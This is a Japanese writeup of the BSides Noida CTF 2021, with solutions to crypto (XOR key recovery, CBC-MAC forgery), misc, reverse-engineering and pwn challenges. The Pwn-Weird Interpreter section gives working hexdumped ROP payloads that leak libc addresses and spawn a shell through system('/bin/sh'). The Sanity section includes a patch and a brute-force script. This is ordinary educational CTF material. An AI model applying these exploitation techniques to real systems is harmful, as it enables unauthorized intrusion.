LoginSignup
2
0

More than 1 year has passed since last update.

BSides Noida CTF 2021 writeup

Last updated at Posted at 2021-08-13

English version: BSides Noida CTF 2021 writeup (English version) - Qiita

概要

BSides Noida CTF 2021 (2021/08/07 19:30 ~ 2021/08/08 19:30 (JST)) (CTFtime.org) に1人チームで参加した。
3748点を獲得し、正の点数を獲得した411チーム中21位だった。

解けた問題と解いた時刻は以下の通りである。

Challenge Category Value Time (JST)
Baby Web Web 420 2021/08/07 23:18:10
Xoro Crypto 388 2021/08/07 23:37:15
MACAW Crypto 445 2021/08/07 23:58:05
Psst Misc 159 2021/08/08 00:23:49
Welcome Misc 50 2021/08/08 00:48:38
Sanity Reverse 437 2021/08/08 01:56:19
My Artwork Misc 287 2021/08/08 06:53:39
Rev-Weird Interpreter Reverse 494 2021/08/08 09:53:12
Pwn-Weird Interpreter Pwn 495 2021/08/08 14:22:15
Macaw_Revenge Crypto 473 2021/08/08 15:23:01
Farewell Misc 50 2021/08/08 16:32:15
FeedBack Form Misc 50 2021/08/08 18:17:59

Score over Time

解けた問題

Crypto

Xoro

TCPサーバの接続情報と、サーバのプログラムxoro.pyが与えられた。

xoro.pyは、以下のような処理をしていた。

  1. 32バイトのランダムな鍵を生成する
  2. 入力を受け付ける
  3. 「入力の後にFLAGを連結したもの」と「鍵を繰り返したもの」のxorをとり、出力する

32バイトの0x00を送ることで、以下のように最初の32バイトに鍵をそのまま出力してくれる。

===== WELCOME TO OUR ENCRYPTION SERVICE =====

[plaintext (hex)]>  0000000000000000000000000000000000000000000000000000000000000000
[ciphertext (hex)]> 26b1c562e6f9ddf4dadf1ed4749af310b94c313357c28dd66f97fabce7b1e5d364e28b0d8f9dbc8fb2b0698b17fb9d4fc023446c35b0e8b704c8aef4a2eebd9c74eefa43d9d8a0
See ya ;)

CyberChefの説明ページにある例「Perform AES decryption, extracting the IV from the beginning of the cipher stream」を参考に最初の32バイトをKeyとしたXORを行うと、以下のOutputが得られた。

BSNoida{how_can_you_break_THE_XOR_?!?!}Òk.|

余計な部分を外すことで、flagが得られた。

BSNoida{how_can_you_break_THE_XOR_?!?!}

MACAW

TCPサーバの接続情報と、サーバのプログラムMACAW.pyが与えられた。

MACAW.pyは、以下の処理を行う。

  1. secret_msgを出力する
  2. 3回まで、以下の処理のいずれかを選択させ、実行する
    • secret_msgでない入力データをkeyivを用いてAES.MODE_CBCで暗号化し、最後のブロックとivを出力する
    • データを入力させ、それがsecret_tagと一致したらFLAGを出力する

iv, key, secret_msg, secret_tagの性質については読み取れなかったが、
ivkeyは固定であり、secret_msgを暗号化した最後のブロックがsecret_tagであると予想した。

さて、CBCモードでは、「前の暗号文ブロック(もしくはIV)と今の平文ブロックのXOR」を暗号化したものが、
今の暗号文ブロックになる。
(暗号利用モード - Wikipedia)
今回はIVが固定のようなので、あらかじめ平文ブロックを「暗号化で使われるIVと、使いたいIV(前の暗号化ブロック)のXOR」
とXORしておくことで、暗号化時に実質使うIVを指定し、分割して暗号化を行えるようになる。

実際に、以下のようにしてsecret_msgの暗号化を行った。

平文ブロック 平文ブロック XOR 前の暗号文ブロック XOR IV 暗号文ブロック
(IV) 4aa8d73c2f644a6cecf9cf1af82ebbe9
57656c636f6d6520746f204253696465 57656c636f6d6520746f204253696465 8992b52f29709147a0aa1e084a3bfe19
734e6f696461212120466f6c6c6f7720 b0740d7a6275fa0a6c15be7ede7a32d0 f25d4a2c1c95c62576b48019d63e4f00
7573206f6e20547769747465722e2e2e cd86bd7f5dd1d83ef3393b665c3edac7 eae429a7fdc8b0d6161d02b9cce52ba9

最終的に得られたデータeae429a7fdc8b0d6161d02b9cce52ba9を用いることで、flagが得られた。

BSNoida{M4c4w5_4r3_4d0r4b13}

Macaw_Revenge

TCPサーバの接続情報と、サーバのプログラムmacaw_revenge.pyが与えられた。

macaw_revenge.pyは、以下の処理を行う。

  1. iv (16バイト)、key (16バイト)、secret_msg (48バイト)をランダムに設定する
  2. secret_msgkeyivを用いてAES.MODE_CBCで暗号化した最後のブロックをsecret_tagとする
  3. secret_msgを出力する
  4. 3回まで、以下の処理のいずれかを選択させ、実行する
    • secret_msgでない入力データをkeyivを用いてAES.MODE_CBCで暗号化し、最後のブロックとivを出力する
    • データを入力させ、それがsecret_tagと一致したらFLAGを出力する

さて、CBCモードでは、「前の暗号文ブロック(もしくはIV)と今の平文ブロックのXOR」を暗号化したものが、
今の暗号文ブロックになる。
(暗号利用モード - Wikipedia)
したがって、IVが固定の時、平文ブロックにIVと前の暗号文ブロックをXORしたものを暗号化すると、
IVが2回XORされて相殺され、この平文ブロックが前の暗号文ブロックの次に来た状態で暗号化できる。

この性質を利用し、以下の手順でflagを得ることができた。

  1. secret_msgの最後以外のブロックを暗号化させる。
  2. 1で出力された暗号文ブロックとivsecret_msgの最後のブロックとXORしたものを暗号化させる。
  3. 2で出力された暗号文がsecret_tagのはずなので、入力する。
BSNoida{M4c4w5_4r3_pr3tty_l0ud}

Misc

Welcome

以下の問題文が与えられた。

Welcome To BSides Noida CTF. Good Luck and Have fun :)
Flag : BSNoida{W3lc0me_To_BSidesNoida_CTF}

問題文中のflag :の後の部分がflagになっていた。

BSNoida{W3lc0me_To_BSidesNoida_CTF}

FeedBack Form

Googleフォームのリンクが与えられた。
リンク先は1ページのアンケートで、回答を送信するとflagが表示された。

BSidesNOIDA{s33_y0u_n3xt_t1m3}

Farewell

ジグソーパズルをプレイできるWebページへのリンクが与えられた。

パズルを解くと、アニメ関係と思われる画像を背景に赤い文字が書かれた画像になった。
この画像の文字の部分は以下のような感じだった。

出てきた画像の文字の部分

書かれている文字を順番に並べると以下のようになるが、これはflagではなかった。

BSNoida{Th4nk5_f0rpl4y1ng_See_y0u_n3xty34r_By3}

この文字列に_を2個補うことで、flagが得られた。

BSNoida{Th4nk5_f0r_pl4y1ng_See_y0u_n3xt_y34r_By3}

Psst

ファイルpsst.tar.gzが与えられた。
7-Zipで展開すると、ファイルpsst.tarが出てきた。
psst.tarを7-Zipで展開しようとすると、パスが長すぎるというエラーになった。

psst.tarstringsコマンドをかけると、後半にreadme_(数字).txtで終わるパスが見えた。
さらに、バイナリエディタでpsst.tarからflagに含まれるであろう{を探すと、
まわりに0x00が多い中、これ1文字と改行(0x0A)がポツンと入っている様子がみられた。

そこで、以下のようにしてpsst.tar中に1文字で入っているデータを抽出した。
grep-xは、行に正規表現で完全マッチさせるオプションである。

strings -n 1 psst.tar > psst-strings-n1.txt
grep -x . psst-strings-n1.txt > psst-strings-n1-onecharlines.txt

得られたデータに対し、CyberChefで改行を消してReverseすることで、flagが得られた。

BSNoida{d1d_y0u_u53_b45h_5cr1pt1ng_6f7220737461636b6f766572666c6f773f}

My Artwork

テキストファイルart.TURTLEが与えられた。
このファイル中には、REPEATで始まる行が28行あった。

「TURTLE interpreter」でググると、ここが見つかった。
Free Online Turtle Graphics - logointerpreter.com - Surf your logo code! / Logo editor

ここにREPEATで始まる1行をコピペしてAnimateボタンを押すことで、1文字が描かれるようだった。
28行を順にコピペして処理し、描かれた文字を並べると、以下のようになった。

CODE_IS_BEAUTY_BEAUTY_ISCODE

この文字列をBSNoida{}で囲み、さらに_を補うことで、flagが得られた。

BSNoida{CODE_IS_BEAUTY_BEAUTY_IS_CODE}

Pwn

Pwn-Weird Interpreter

TCPサーバの接続情報と、ファイルWeird_Interpreter.zipが与えられた。
これらは問題Rev-Weird Interpreterで与えられたものと同じであった。
同問題を解く過程で、プログラムを実行する関数とその性質(スタック上のデータの配置など)がわかっている。

FUN_00102a45関数においてメッセージを出力する部分のコードは、

        00102ac2 48 8d 35        LEA        RSI,[s_Enter_ur_Code_:_001030a1]                 = "Enter ur Code : "
                 d8 05 00 00
        00102ac9 48 8d 3d        LEA        RDI,[std::cout]                                  = 
                 b0 26 00 00
                             try { // try from 00102ad0 to 00102b0b has its CatchHandler @
                             LAB_00102ad0                                    XREF[1]:     001033dc(*)  
        00102ad0 e8 2b f6        CALL       <EXTERNAL>::std::operator<<                      basic_ostream * operator<<(basic
                 ff ff

となっていた。したがって、RSIに出力したいデータのアドレスを入れ、0x2ac9番地に制御を移せば、
任意のデータを出力できるはずである。
RSIの設定は、0x29f1番地のpop rsi; pop r15; retというgadgetを用いた
ROP (Return-Oriented Programming) でできそうである。

ROPを行うため、一度に複数の値を構築できる以下のプログラムを用意した。

num_gen_multi.pl
num_gen_multi.pl
#!/usr/bin/perl

use strict;
use warnings;

if (@ARGV < 1) {
    die "Usage: perl num_gen_multi.pl target_number [target_number...]\n";
}

my @targets = ();
for (my $i = 0; $i < @ARGV; $i++) {
    push(@targets, int($ARGV[$i]));
}

print "a334"; # nandeya hanshin kankei naiyaro
for (;;) {
    my $proceed = 0;
    for (my $i = 0; $i < @targets; $i++) {
        my $no = $i + ($i < 3 ? 0 : 2); # reserve 3 and 4
        if ($targets[$i] & 1) {printf "a%d%d3", $no, $no; }
        $targets[$i] >>= 1;
        if ($targets[$i] > 0) { $proceed = 1; }
    }
    if ($proceed) {
        print "a333";
    } else {
        last;
    }
}

リターンアドレス以降のスタックを以下のように設定することで、
0x5018番地に格納されたsetvbuf関数のアドレスを出力できる。
ただし、「差」はリターンアドレスとの差である。

0x29f1 (差 0x11b)
0x5018 (差 0x250c)
something
0x2ac9 (差 0x43)

さらに、CS50 IDEのGDB上で試した結果、
スタック上でリターンアドレスの直後にプログラムが格納されており、
実行開始後すぐにスタックを書き換えてしまうとプログラムが壊れてしまった。
これを防ぐため、プログラムの冒頭に意味のない命令を入れてROP用のデータを格納する領域を確保した。

以下のプログラムは、

  1. ROP用のデータ領域
  2. リターンアドレスの上位6バイトのコピー
  3. リターンアドレスに足したり引いたりする値の構築
  4. 構築した値とリターンアドレスの演算

という構造になっており、setvbuf関数のアドレスを出力する。

00000000  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000010  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000020  61 85 30 81 61 8d 30 81 61 86 30 82 61 8e 30 82  |a.0.a.0.a.0.a.0.|
00000030  61 87 30 83 61 8f 30 83 61 30 31 31 61 33 33 34  |a.0.a.0.a011a334|
00000040  61 30 30 33 61 32 32 33 61 33 33 33 61 30 30 33  |a003a223a333a003|
00000050  61 32 32 33 61 33 33 33 61 31 31 33 61 33 33 33  |a223a333a113a333|
00000060  61 30 30 33 61 31 31 33 61 33 33 33 61 30 30 33  |a003a113a333a003|
00000070  61 33 33 33 61 33 33 33 61 32 32 33 61 33 33 33  |a333a333a223a333|
00000080  61 33 33 33 61 30 30 33 61 31 31 33 61 33 33 33  |a333a003a113a333|
00000090  61 33 33 33 61 31 31 33 61 33 33 33 61 33 33 33  |a333a113a333a333|
000000a0  61 33 33 33 61 31 31 33 73 33 33 33 73 8c 80 32  |a333a113s333s..2|
000000b0  61 84 80 31 73 80 80 30 0a                       |a..1s..0.|

同様に、以下のプログラムは、0x4fe0番地に格納された__libc_start_main関数のアドレスを出力する。

00000000  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000010  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000020  61 85 30 81 61 8d 30 81 61 86 30 82 61 8e 30 82  |a.0.a.0.a.0.a.0.|
00000030  61 87 30 83 61 8f 30 83 61 30 31 31 61 33 33 34  |a.0.a.0.a011a334|
00000040  61 30 30 33 61 32 32 33 61 33 33 33 61 30 30 33  |a003a223a333a003|
00000050  61 32 32 33 61 33 33 33 61 31 31 33 61 33 33 33  |a223a333a113a333|
00000060  61 30 30 33 61 33 33 33 61 30 30 33 61 31 31 33  |a003a333a003a113|
00000070  61 33 33 33 61 33 33 33 61 31 31 33 61 32 32 33  |a333a333a113a223|
00000080  61 33 33 33 61 31 31 33 61 33 33 33 61 30 30 33  |a333a113a333a003|
00000090  61 33 33 33 61 33 33 33 61 31 31 33 61 33 33 33  |a333a333a113a333|
000000a0  61 33 33 33 61 33 33 33 61 31 31 33 73 33 33 33  |a333a333a113s333|
000000b0  73 8c 80 32 61 84 80 31 73 80 80 30 0a           |s..2a..1s..0.|

これらのプログラムをTera Termの「ファイル送信」で送信し、
サーバの出力をWiresharkで観測することで、これらの関数のアドレスを知ることができた。
その結果、setvbuf関数のアドレスは0x7f0bedeed630
__libc_start_main関数のアドレスは0x7f98159babc0であった。
これらの関数のアドレスは16進数の下位3桁を除いてランダムであると考えられるが、
1個ずつlibc-databaseに入力して調べた結果、
唯一の共通する結果としてlibc6_2.32-0ubuntu3.1_amd64が得られた。
このサイトの出力より、
__libc_start_main_ret0x28cb2str_bin_sh0x1ae41fsystem0x503c0である。
これらの情報を使うことで、system("/bin/sh")を実行し、シェルを起動することができそうである。

CS50 IDE上のGDBを用いて調べた結果、スタック上に__libc_start_main関数内へ戻るアドレスがあったが、
RSPとこのアドレスの格納位置の差は入力の長さによって変化した。
そこで、c命令を実行するとプログラムの実行が終了することを利用し、
入力するプログラムにパディングを加えて長さを統一した状態で攻略を進めることにした。
入力の長さを512バイトに設定した時、このアドレスはRSP + 0x308、すなわちRAM[0x17c]から格納されていた。
このアドレスが__libc_start_main_retに相当するので、
これを基点にしてstr_bin_shsystemのアドレスを作ることができる。
ただし、今回のシステムで加減算は16ビットでしかできず、下位16ビットとその上の間の繰り上がりへの対応は難しい。
幸い、アドレスが一様分布だと仮定するとこの繰り上がりにより失敗する確率は1/2であったため、運に頼ることにした。

最終的に、以下のようなデータを構築することで、ROPによりsystem("/bin/sh")を呼び出すことができる。
0x29f3番地はpop rdi; ret、0x29f4番地はretというgadgetであり、
0x29f4番地はスタックのアラインメント調整のため入れてある。

0x29f3 (リターンアドレスとの差 0x119)
str_bin_sh (__libc_start_main_retとの差 0x18576d)
0x29f4 (リターンアドレスとの差 0x118)
system (__libc_start_main_retとの差 0x2770e)

以下がこのデータを構築するプログラムである。

payload-system.bin
00000000  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000010  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000020  61 89 30 81 61 8a 30 82 61 8b 30 83 61 35 33 33  |a.0.a.0.a.0.a533|
00000030  61 36 33 33 61 33 33 34 61 35 35 33 61 33 33 33  |a633a334a553a333|
00000040  61 36 36 33 61 33 33 33 61 31 31 33 61 35 35 33  |a663a333a113a553|
00000050  61 36 36 33 61 33 33 33 61 30 30 33 61 31 31 33  |a663a333a003a113|
00000060  61 32 32 33 61 35 35 33 61 36 36 33 61 33 33 33  |a223a553a663a333|
00000070  61 30 30 33 61 31 31 33 61 32 32 33 61 33 33 33  |a003a113a223a333|
00000080  61 31 31 33 61 35 35 33 61 33 33 33 61 31 31 33  |a113a553a333a113|
00000090  61 35 35 33 61 33 33 33 61 33 33 33 61 30 30 33  |a553a333a333a003|
000000a0  61 31 31 33 61 35 35 33 61 36 36 33 61 33 33 33  |a113a553a663a333|
000000b0  61 35 35 33 61 36 36 33 61 33 33 33 61 35 35 33  |a553a663a333a553|
000000c0  61 36 36 33 61 33 33 33 61 33 33 33 61 35 35 33  |a663a333a333a553|
000000d0  61 36 36 33 61 33 33 33 61 36 36 33 61 33 33 33  |a663a333a663a333|
000000e0  61 35 35 33 61 36 36 33 73 33 33 33 73 88 80 30  |a553a663s333s..0|
000000f0  61 30 30 34 73 80 80 30 72 30 31 61 84 30 35 61  |a004s..0r01a.05a|
00000100  8c 30 36 61 31 31 34 72 30 31 61 85 30 32 61 30  |.06a114r01a.02a0|
00000110  30 34 61 8d 30 34 61 31 31 34 72 30 31 61 86 30  |04a.04a114r01a.0|
00000120  33 61 8e 30 33 61 31 31 34 72 30 31 61 87 30 33  |3a.03a114r01a.03|
00000130  61 8f 30 33 63 30 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |a.03c0----------|
00000140  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000150  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000160  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000170  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000180  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000190  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001a0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001b0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001c0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001d0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001e0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001f0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000200  0a                                               |.|

このプログラムは、以下の処理をしている。

  1. ROP構築用の領域確保
  2. リターンアドレスの上位6バイトのコピー
  3. 各種値の構築
  4. __libc_start_main_retの読み出しとコピー (値の加算を含む)
  5. リターンアドレスから値を減算した値の構築
  6. c命令による実行終了

このプログラムを用いて、シェルを起動することに成功した。
lsコマンドを実行すると、ファイルflag1.txtflag2.txtがあることがわかった。
catコマンドを用いてこれらの中身を出力させると、
flag1.txtの中身は問題 Rev-Weird Interpreter のflagであり、flag2.txtの中身がこの問題のflagだった。

BSNoida{b3d51a88e2d57cb1a62816f9b8131430}

Reverse

Sanity

ファイルSanity.zipが与えられ、展開すると実行可能ファイルSanity.exeが得られた。

Sanity.exeGhidraで逆コンパイルしてみると、
entry関数からFUN_004011b0関数が呼ばれており、
FUN_004011b0関数から呼ばれているFUN_0040153f関数がmain関数に相当しそうであることが読み取れた。

ここまでの逆コンパイル結果
/* WARNING: Exceeded maximum restarts with more pending */

void entry(void)

{
  __set_app_type(1);
  FUN_004011b0();
  __set_app_type(2);
  FUN_004011b0();
                    /* WARNING: Could not recover jumptable at 0x00401320. Too many branches */
                    /* WARNING: Treating indirect jump as call */
  atexit();
  return;
}

void FUN_004011b0(void)

{
  code *pcVar1;
  int *piVar2;
  undefined4 *puVar3;
  UINT uExitCode;

  tls_callback_0(0,2,0);
  SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER)&LAB_00401000);
  FUN_00401a30();
  FUN_00402240(DAT_00405a04);
  FUN_00401690();
  pcVar1 = _iob_exref;
  if (DAT_00408020 != 0) {
    DAT_00405a08 = DAT_00408020;
    _setmode(*(int *)(_iob_exref + 0x10),DAT_00408020);
    _setmode(*(int *)(pcVar1 + 0x30),DAT_00408020);
    _setmode(*(int *)(pcVar1 + 0x50),DAT_00408020);
  }
  piVar2 = (int *)__p__fmode();
  *piVar2 = DAT_00405a08;
  FUN_00402040();
  FUN_00401bc0();
  puVar3 = (undefined4 *)__p__environ();
  uExitCode = FUN_0040153f(DAT_00408004,DAT_00408000,*puVar3);
  _cexit();
                    /* WARNING: Subroutine does not return */
  ExitProcess(uExitCode);
}

FUN_0040153f関数は以下のようになっており、
文字を出力したりSleep(100);を呼んだりしながら入力データを1文字ずつチェックしている様子が読み取れた。

FUN_0040153f関数の逆コンパイル結果
undefined4 FUN_0040153f(void)

{
  FILE *_File;
  char cVar1;
  uint uVar2;
  uint uVar3;
  char *pcVar4;
  int iVar5;
  undefined4 local_129;
  undefined4 local_125;
  undefined local_121;
  byte local_120 [264];
  undefined *local_18;

  local_18 = &stack0x00000004;
  FUN_00401bc0();
  local_129 = 0x65486548;
  local_125 = 0x69696f42;
  local_121 = 0;
  printf("Enter Flag : ");
  scanf("%256s",local_120);
  uVar3 = 0;
  do {
    uVar2 = 0xffffffff;
    pcVar4 = s_BSNoida{ZSBrbm93IHRoZSBnYW1lIGFu_00404880;
    do {
      if (uVar2 == 0) break;
      uVar2 = uVar2 - 1;
      cVar1 = *pcVar4;
      pcVar4 = pcVar4 + 1;
    } while (cVar1 != '\0');
    if (~uVar2 - 1 <= uVar3) {
      puts("\nCorrect");
      return 0;
    }
    printf("\r%*s\r%s",9,&DAT_00406081,"Checking");
    fflush((FILE *)(_iob_exref + 0x20));
    uVar2 = (uint)((int)uVar3 >> 0x1f) >> 0x1d;
    if ((byte)(s_BSNoida{ZSBrbm93IHRoZSBnYW1lIGFu_00404880[uVar3] ^ local_120[uVar3]) !=
        *(byte *)((int)&local_129 + ((uVar3 + uVar2 & 7) - uVar2))) {
      puts("\nWrong");
      return 0;
    }
    for (iVar5 = 0; iVar5 < 3; iVar5 = iVar5 + 1) {
      Sleep(100);
      _File = (FILE *)(_iob_exref + 0x20);
      fputc(0x2e,_File);
      fflush(_File);
    }
    uVar3 = uVar3 + 1;
  } while( true );
}

flagと推測できる最初の数文字を入力して試してみると、
合っている文字数が多いほど出力のバイト数が増えることがわかった。

そこで、まずSleep(100);を呼んでいる部分をNOPで埋める改造を行った。
すなわち、ファイルSanity.exeの0x9b7バイト目から0x9beバイト目までの8バイトをバイナリエディタで0x90に書き換え、
Sanity-pat-ched.exeという名前で保存した。
この部分は以下の部分に相当する。
また、ファイル名にpatchedを入れるとなぜか実行に管理者権限を要求されてしまうので、pat-chedとした。

        004015b7 e8 5c 27        CALL       KERNEL32.DLL::Sleep                              void Sleep(DWORD dwMilliseconds)
                 00 00
        004015bc 83 ec 04        SUB        ESP,0x4

さらに、flagを1文字ずつ探索する以下のプログラムを書き、実行した。

bruteforce.pl
bruteforce.pl
#!/usr/bin/perl

use strict;
use warnings;

my $target = "Sanity-pat-ched.exe";

sub query {
    my $q = $_[0];
    open(PROC, "echo $q | $target |") or die "open failed: $!\n";
    my $data = "";
    while (<PROC>) { $data .= $_; }
    close(PROC);
    return length($data);
}

my $char_to_use = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_{}";
my $culen = length($char_to_use);

my $flag = "";
my $prev_len = &query($flag);

for (;;) {
    my $found = 0;
    for (my $i = 0; $i < $culen; $i++) {
        my $c= substr($char_to_use, $i, 1);
        my $flag_candidate = $flag . $c;
        my $l = &query($flag_candidate);
        if ($l > $prev_len) {
            $flag .= $c;
            print STDERR "$c\n";
            $prev_len = $l;
            if ($c eq "}") {
                print "$flag\n";
                exit;
            }
            $found = 1;
            last;
        }
    }
    unless ($found) {
        print STDERR "NOT FOUND\n";
        print "$flag\n";
        exit;
    }
}

結果、flagが得られた。

BSNoida{Ezzzzzzzzzzzzzzzzzz_Flag}

Rev-Weird Interpreter

TCPサーバの接続情報と、ファイルWeird_Interpreter.zipが与えられた。
Weird_Interpreter.zipを展開すると、サーバのプログラム(ELFファイル)Interpreterが出てきた。

InterpreterGhidraで逆コンパイルすると、以下のような処理をしていた。

  1. entry関数から、FUN_00102a45などを引数として__libc_start_main関数を呼び出す
  2. FUN_00102a45関数において、メッセージの出力、プログラムの読み込み、FUN_00102750関数の実行を行う
  3. FUN_00102750関数において、プログラムの実行を行う

FUN_00102a45関数
/* WARNING: Could not reconcile some variable overlaps */

undefined4 FUN_00102a45(void)

{
  long lVar1;
  char *__src;
  undefined4 uVar2;
  long in_FS_OFFSET;
  code *pcStack80;
  char *local_48;
  undefined8 local_40;
  char local_38 [24];
  long local_20;

  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  pcStack80 = (code *)0x102a78;
  setvbuf(stdin,(char *)0x0,2,0);
  pcStack80 = (code *)0x102a93;
  setvbuf(stdout,(char *)0x0,2,0);
  pcStack80 = (code *)0x102aae;
  setvbuf(stderr,(char *)0x0,2,0);
  local_48 = local_38;
  local_40 = 0;
  local_38[0] = '\0';
                    /* try { // try from 00102ad0 to 00102b0b has its CatchHandler @ 00102b2e */
  pcStack80 = (code *)0x102ad5;
  std::operator<<((basic_ostream *)std::cout,"Enter ur Code : ");
  pcStack80 = (code *)0x102ae5;
  std::operator>>((basic_istream *)std::cin,(basic_string *)(&pcStack80 + 1));
  __src = local_48;
  lVar1 = -((long)((int)local_40 + 1) + 0xfU & 0xfffffffffffffff0);
  *(undefined8 *)((long)&pcStack80 + lVar1) = 0x102b04;
  strcpy((char *)((long)&pcStack80 + lVar1 + 8),__src);
  *(undefined8 *)((long)&pcStack80 + lVar1) = 0x102b0c;
  uVar2 = FUN_00102750((long)&pcStack80 + lVar1 + 8);
  *(undefined8 *)((long)&pcStack80 + lVar1) = 0x102b17;
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_dispose();
  if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar2;
  }
                    /* WARNING: Subroutine does not return */
  *(code **)((long)&pcStack80 + lVar1) = FUN_00102b47;
  __stack_chk_fail();
}

FUN_00102750関数
/* WARNING: Type propagation algorithm not settling */

undefined8 FUN_00102750(char *param_1)

{
  bool bVar1;
  byte bVar2;
  size_t sVar3;
  undefined8 uVar4;
  int iVar5;
  byte bVar6;
  int iVar7;
  byte bVar8;
  byte bVar9;
  long in_FS_OFFSET;
  undefined8 local_a0;
  undefined6 uStack150;
  undefined8 uStack152;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined4 local_60;
  undefined local_58 [16];
  undefined local_48;
  long local_40;

  local_40 = *(long *)(in_FS_OFFSET + 0x28);
  local_a0 = 0;
  uStack152 = 0;
  local_90 = 0;
  local_88 = 0;
  local_80 = 0;
  local_78 = 0;
  local_70 = 0;
  local_68 = 0;
  local_60 = 0;
  sVar3 = strlen(param_1);
  uStack152 = CONCAT62(uStack150,1);
  bVar8 = 0;
  bVar9 = 0;
  bVar1 = true;
  iVar5 = 0;
  while (bVar1) {
    bVar2 = param_1[iVar5] | 0x20;
    iVar7 = iVar5 + 2;
    bVar6 = param_1[iVar5 + 1] - 0x30;
    if (bVar2 != 99) {
      bVar9 = param_1[iVar7] - 0x30;
      iVar7 = iVar5 + 3;
      if (bVar2 != 0x77 && bVar2 != 0x72) {
        bVar8 = param_1[iVar5 + 3] - 0x30;
        iVar7 = iVar5 + 4;
      }
      if ((3 < bVar6 && 3 < bVar9) && (3 < bVar8)) {
        std::operator<<((basic_ostream *)std::cerr,"Invalid Register\n");
                    /* WARNING: Subroutine does not return */
        exit(-1);
      }
    }
    switch(bVar2) {
    case 0x61:
      *(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
           *(short *)((long)&local_a0 + (long)(char)bVar8 * 2) +
           *(short *)((long)&local_a0 + (long)(char)bVar9 * 2);
      break;
    default:
      std::__ostream_insert<char,std::char_traits<char>>
                ((basic_ostream *)std::cerr,"Invalid Opcode\n",0xf);
                    /* WARNING: Subroutine does not return */
      exit(-1);
    case 99:
      std::__ostream_insert<char,std::char_traits<char>>
                ((basic_ostream *)std::cout,"\nChecking...\n",0xd);
      for (iVar5 = 0; iVar5 < 0x10; iVar5 = iVar5 + 1) {
        local_58[iVar5] =
             (char)*(undefined2 *)((long)&stack0xffffffffffffff68 + (long)((char)bVar6 + iVar5) * 2)
        ;
      }
      local_48 = 0;
      FUN_0010234f(local_58);
      uVar4 = 1;
      goto LAB_001029d6;
    case 100:
      *(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
           *(short *)((long)&local_a0 + (long)(char)bVar9 * 2) /
           *(short *)((long)&local_a0 + (long)(char)bVar8 * 2);
      break;
    case 0x6d:
      *(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
           *(short *)((long)&local_a0 + (long)(char)bVar8 * 2) *
           *(short *)((long)&local_a0 + (long)(char)bVar9 * 2);
      break;
    case 0x72:
      *(undefined2 *)((long)&local_a0 + (long)(char)bVar6 * 2) =
           *(undefined2 *)
            ((long)&stack0xffffffffffffff68 +
            (long)*(short *)((long)&local_a0 + (long)(char)bVar9 * 2) * 2);
      break;
    case 0x73:
      *(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
           *(short *)((long)&local_a0 + (long)(char)bVar9 * 2) -
           *(short *)((long)&local_a0 + (long)(char)bVar8 * 2);
      break;
    case 0x77:
      *(undefined2 *)
       ((long)&stack0xffffffffffffff68 +
       (long)*(short *)((long)&local_a0 + (long)(char)bVar6 * 2) * 2) =
           *(undefined2 *)((long)&local_a0 + (long)(char)bVar9 * 2);
    }
    if ((int)sVar3 <= iVar7) {
      bVar1 = false;
    }
    DAT_001054f4 = DAT_001054f4 + 1;
    iVar5 = iVar7;
    if (0x54 < DAT_001054f4) {
      std::__ostream_insert<char,std::char_traits<char>>
                ((basic_ostream *)std::cerr,"Too many opcodes\n",0x11);
      bVar1 = false;
    }
  }
  uVar4 = 0;
LAB_001029d6:
  if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar4;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

FUN_00102750関数より、プログラムでは以下の命令が使えることが読み取れた。

a v1 v2 v3 : reg[v1] = reg[v3] + reg[v2]
c v1       : RAM[v1] からの16要素をチェックし、実行を終了
d v1 v2 v3 : reg[v1] = reg[v2] / reg[v3]
m v1 v2 v3 : reg[v1] = reg[v3] * reg[v2]
r v1 v2    : reg[v1] = RAM[reg[v2]]
s v1 v2 v3 : reg[v1] = reg[v2] - reg[v3]
w v1 v2    : RAM[reg[v1]] = reg[v2]

ただし、

  • v1v2v3はそれぞれ1バイトで、指定したい値に0x30を足したものである
  • regおよびRAMの要素はそれぞれ16ビット
